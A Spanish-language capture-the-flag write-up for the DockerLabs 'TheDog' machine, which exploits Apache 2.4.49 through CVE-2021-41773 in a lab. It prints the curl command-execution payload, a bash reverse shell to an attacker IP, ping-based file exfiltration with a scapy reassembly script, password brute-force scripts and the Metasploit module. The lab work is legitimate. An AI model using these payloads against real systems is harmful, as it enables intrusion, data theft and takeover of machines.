TheDog , DockerLabs
Herramientas y recursos
En este reto de DockerLabs practicamos.
Tecnicas | Herramientas |
---|---|
scan de puertos | nmap |
fuzzing de ficheros | feroxbuster |
reverse cgi | CVE-2021-41773 |
transferncia de ficheros | ping |
codificacion hexadecimal | xxd |
scripting | python3 y bash |
cadenas binario | strings |
fuerza bruta | su brute en local |
Reconocimiento y enumeracion
Lo primero como siempre le tiramos un nmap con los parámetros de costumbre.
1
sudo nmap -p- -sS -sC -sV --min-rate=5000 -n -Pn -oX thedog 172.18.0.2
Como vemos el puerto 80 esta abierto y es un servidor apache en version 2.4.49 , con el comando tipico para ctf tambien nos indica que hay un metodo TRACE peligroso , pero primero vamos a ver que hay en la web.
Aparte de una cancion punky sonando no encuentro nada raro , excepto por un detalle del codigo fuente que me indica que hay pistas en un html oculto.
Asi que hacemos fuzzing con feroxbuster.
1
feroxbuster -w /usr/share/seclists/Discovery/Web-Content/directory-list-lowercase-2.3-medium.txt -x html -t 400 -u http://172.17.0.2
Nos encuentra el html y nos deja claro que nos va a tocar usar ping para algo , por este camino no vamos bien volvamos a realizar una buena enumeracion con nmap a ver que mas nos puede mostrar.
Si lanzamos dirb con si diccionario por defecto tambien nos dice cositas interesantes.
Vamos a nmap y ejecuto lo siguiente
1
nmap -p 80 -sV --script vuln -n -Pn 172.17.0.2 -oA puerto80
Como vemos nos saltan un monton de vulnerabilidades conocidas de apache en la versuon 2.4.49 ,no a todas es susceptible de explotacion puesto que algunas son por hacer malas configuraciones , pero la que nos interesa es la de CVE-2021-41773 que nos permite ejecutar comandos en el servidor. Quien lo pete con otro cve estare encantado de leer su writeup y seguir aprendiendo.
Esta maquina permite la RCE pero yo no consegui cargar ningun fichero como /etc/passwd con path traversal que seria lo logico y podria ser debido a haber desactivado MPMs e indirectamente salta error de servidor. Buscando exploits por github encontre el payload correcto para ejecutar comandos. Para ello use el siguiente payload.
1
curl http://172.17.0.2/cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh -d 'echo Content-Type: text/plain; echo; whoami'
Infiltracion
Manualmente
Lo interesante de hacerlo de forma manual siguinedo las pistas que nos propone este reto es que aprenderemos a usar ping de una manera diferente a la habitual.
Ahora a mandarnos una revshell y ver que tenemos en el servidor.
1
curl http://172.17.0.2/cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh -d $'echo Content-Type: text/plain\n\nbash -c "bash -i >& /dev/tcp/192.168.0.104/1188 0>&1"'
1
nc -lvnp 1188
Una vez dentro ejecutamos los comandos mas tipicos buscando algo que nos hallan dejado , no hay sudo ni suid ni procesos.Pero me encuentro con unos ficheros curiosos el mp3 que suena a ruido la letra de la cancion y un fichero de texto oculto.
Por todo lo encontrado hasta ahora y por lo que nos dice .stego vamos a tener que descargarnos el fichero de miletra.txt.
Aqui viene lo interesante y es que como no disponemos de ninguna forma de levantar un servicio para tranferir el fichero vamos a usar ping para transferir el fichero. Agradecer a Ben1B3astt por sus videos tambien recomendables.
Hemos de tener unas cosas claras que son , ping espera datos en hexadecimal , el tamaño maximo que ping puede enviar por trama icmp , el tamaño en el que partimos el fichero y los bytes que enviamos en cada trama para luego poder extraerlos y reconstruir el fichero.
En la victima :
1
cat miletra.txt | xxd -p -c 4 | read line; do ping -c 1 192.168.0.109 -p $line; done
Y en el atacante nos ponemos a capturar con tcpdump o tshark creo que cualquiera de los dos lo hace bien(obvio primero lanzad tcpdump).
1
sudo tcpdump -i docker0 icmp -n -v -w Captura.pcap
Si nos fijammos veremos que ping a añadido el patern que es nuestro fichero y en tcpdump nos hemos de fijar que no se halla perdido ningun paquete si no la recuperacion del fichero no funcionara correctamente.
Ahora nos toca extraer el fichero de la captura y para ello usaremos scapy.(para la gente que esta aprtendieno la ia les sera de utilidad).
Yo con su ayuda cree este script python que me permite recuperar las partes interesantes
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
#!/usr/bin/python3
import sys
import signal
import logging
from scapy.all import *
logging.basicConfig(level=logging.DEBUG, format='\n[*]success: %(message)s')
file_printed = False # Variable global para controlar la impresión
# Abrir el archivo de salida en modo de escritura
output_file = "resultado.txt"
def ctrl_c(param1, param2):
logging.info(f"[!] Script Finalizado")
sys.exit(3)
# Definir el manejador de SIGINT
signal.signal(signal.SIGINT, ctrl_c)
def parser_data(packet):
global file_printed # Usar la variable global
if packet.haslayer(ICMP):
if packet[ICMP].type == 8: # Echo Request
try:
# Depuración: Ver el contenido del paquete ICMP
logging.debug(f"Paquete ICMP encontrado: {packet.summary()}")
# Imprimir carga útil para verificar su contenido
payload = packet[ICMP].load
logging.debug(f"Carga útil del paquete: {payload}")
# Obtener solo el último byte del payload
last_byte = payload[-4:] if len(payload) > 0 else b''
# Eliminamos el filtro por secuencia y procesamos todos los paquetes Echo Request
if not file_printed:
logging.info("[+] Archivos extraídos: ")
file_printed = True
if last_byte:
# Decodificar los fragmentos de bytes y unirlos
decoded_string = last_byte.decode('utf-8', errors='ignore') # Decodificar en UTF-8, ignorando errores
logging.info(f"[+] Último byte de carga útil (decodificado): {decoded_string}")
print(f"[+] Último byte de carga útil (decodificado): {decoded_string}")
# Guardar en el archivo de texto
with open(output_file, "a") as f:
f.write(f"{decoded_string}") # Escribir el texto decodificado
else:
logging.warning("[!] Paquete ICMP sin carga útil.")
except Exception as e:
logging.error(f"[!] Error al procesar el paquete ICMP: {e}")
def sniffer_packets(pcap_file):
try:
logging.info(f"[*] Cargando archivo pcap: {pcap_file}")
packets = rdpcap(pcap_file) # Cargar el archivo pcap
# Verificar si se cargaron paquetes
if len(packets) == 0:
logging.warning("[!] El archivo pcap no contiene paquetes.")
else:
logging.info(f"[*] Total de paquetes cargados: {len(packets)}")
# Filtrar los paquetes y procesarlos
for packet in packets:
parser_data(packet)
except Exception as e:
logging.error(f"[!] Error al cargar el archivo pcap: {e}")
if __name__ == '__main__':
pcap_file = "Captura.pcap" # Reemplaza esto con la ruta de tu archivo pcap
sniffer_packets(pcap_file)
1
python3 extract_data4.py
Como veis por el numero del script a mi costo un poco ajustarlo al escenario , este script te crea el fichero resultado.txt con el contenido del fichero que hemos transferido. En este caso la letra de la cancion.
Ya con el fichero en nuestra maquina y por la pista que encontramos en .stego sabemos que esconde algo con el metodo usado por snow WebSnow.
Para hallar la password que nos permitira ver que esconde me creo un scripts de bash pra aplicarle fuerza bruta.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
#!/bin/bash
# Definir archivo y lista de contraseñas
FILE="miletra.txt"
WORDLIST="rockyou.txt"
# Iterar sobre cada contraseña en el diccionario
while read -r pass; do
# Ejecutar el comando snow con la contraseña modificar a vuestra ruta de instalcion
OUTPUT=$(./snow -Q -C -p "$pass" "$FILE" 2>/dev/null)
# Verificar si la salida no está vacía y contiene "password:"
if [[ ! -z "$OUTPUT" && "$OUTPUT" == *"password:"* ]]; then
# Si contiene la palabra "password:", entonces mostrar la contraseña y el mensaje
echo "[+] Contraseña encontrada: $pass"
echo "Mensaje oculto: $OUTPUT"
break
fi
done < "$WORDLIST"
# Si no se encuentra la contraseña, imprimir un mensaje de error
if [[ -z "$OUTPUT" || "$OUTPUT" != *"password:"* ]]; then
echo "[-] No se encontró la contraseña en el diccionario."
fi
Un script sencillo que nos permite probar todas las contraseñas de un diccionario y ver si alguna de ellas es la correcta.
Ya tenmos la password y podemos acceder con el usuario punky
1
su punky
Automatico
La verdad esta no me la esperaba y no la vi venir , pero con el uso de la terminal meterpreter lo que acabamos de realizar es mucho mas sencillo por no decir que con lo que me costo realizar el metodo anterior se convierte esto en un juego de niños. Me paso como a Mario no recuerdo que maquina fue pero tambien estaba complicada hacerla manualmente y con msfconsole se peto en dos minutos.
1
2
3
msfconsole
search CVE-2021-41773
use exploit/multi/http/apache_normalize_path_rce
Realizamos las configuaraciones necesarias y lanzamos el exploit.
1
run
Una vez en meterpreter solo debemos hacer uso del puto comando interno download para descargar lo que me llevo unas horitas con ping.
De esta forma solo hacemos fuerza bruta contra el fichero y listo.Ahora sigamos con punky
Trepando a root
Dentro de punky usamos primero los comandos tipicos para ver que tenemos y que podemos hacer.
1
find / -perm -u=s -type f 2>/dev/null
Nos encuentra un binario task_manger primero vemos lo que hace y posteriormente analizamos el binario. Despues de realizar alguna acciones a traves del binario que tiene suid activado y pese a inyectar comandos a traves de el no se consigue nada pues cuando hacemos un nos lo muestra como el usuario que lo ejecuta no conpribvilegios elevados.
1
strings task_manager
Si observamos las cadenas que nos muestra el binario hallamos lo que parece ser una lista de contraseñas , lo cual nos incita a realizar un ataque de furza bruta en local. Para ello usaremos el script de Mario que encontrareis en su github y que es muy util para este tipo de cosas. Tambien nos creamos el diccionario con las claves que esconde el binario.Suerte que nos dejaron nano.
1
2
3
cd /home/punky
nano dict.txt
nano brute.sh
1
sh brute.sh root dict.txt
Nos encuentra la pass sin problema.
Gracias por leer y cualquier duda o consejo ya saben contacten en X.
Comments powered by Disqus.